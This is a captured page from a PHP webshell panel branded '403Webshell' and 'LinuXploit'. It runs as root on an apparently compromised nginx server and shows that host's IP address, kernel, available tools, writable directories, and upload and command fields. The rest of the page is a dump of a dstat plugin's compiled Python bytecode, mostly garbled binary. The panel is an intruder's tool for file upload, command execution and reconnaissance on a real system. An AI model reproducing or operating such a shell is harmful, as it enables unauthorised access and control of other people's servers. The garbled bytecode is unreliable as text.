403Webshell
Server IP : 39.108.156.168  /  Your IP : 216.73.216.104
Web Server : nginx/1.24.0
System : Linux e2.ksyuki.com 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/dstat/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/dstat/__pycache__/dstat_dstat_ctxt.cpython-312.pyc
�

u�>]���Gd�de�Zy)c��eZdZdZd�Zd�Zy)�dstat_plugina(
    Provide Dstat's number of voluntary and involuntary context switches.

    This plugin provides a unique view of the number of voluntary and
    involuntary context switches of the Dstat process itself. It may help
    to vizualise the performance of Dstat and its selection of plugins.
    c�J�d|_d|_d|_d|_d|_y)Nz	contxt sw)�	voluntary�involuntary�total�d��d)�name�vars�type�width�scale)�selfs �$/usr/share/dstat/dstat_dstat_ctxt.py�__init__zdstat_plugin.__init__s%����	�9��	���	���
���
�c�J�tjtj�}t|j�|j
d<t|j�|j
d<t|j�t|j�z|j
d<|jD]8}|j
||j|z
dztz|j|<�:ttjk(r&|jj|j
�yy)Nrrrg�?)�resource�	getrusage�RUSAGE_SELF�float�ru_nvcsw�set2�	ru_nivcswr�set1�elapsed�val�step�op�delay�update)r�resrs   r�extractzdstat_plugin.extracts���� � ��!5�!5�6��!&�s�|�|�!4��	�	�+��#(����#7��	�	�-� �#�C�L�L�1�E�#�-�-�4H�H��	�	�'���I�I�	Q�D�"�i�i��o��	�	�$��?�3�F��P�D�H�H�T�N�	Q��2�8�8���I�I���T�Y�Y�'�rN)�__name__�
__module__�__qualname__�__doc__rr$�rrrrs����(rrN)�dstatrr)rr�<module>r+s��(�5�(r

Youez - 2016 - github.com/yon3zu
LinuXploit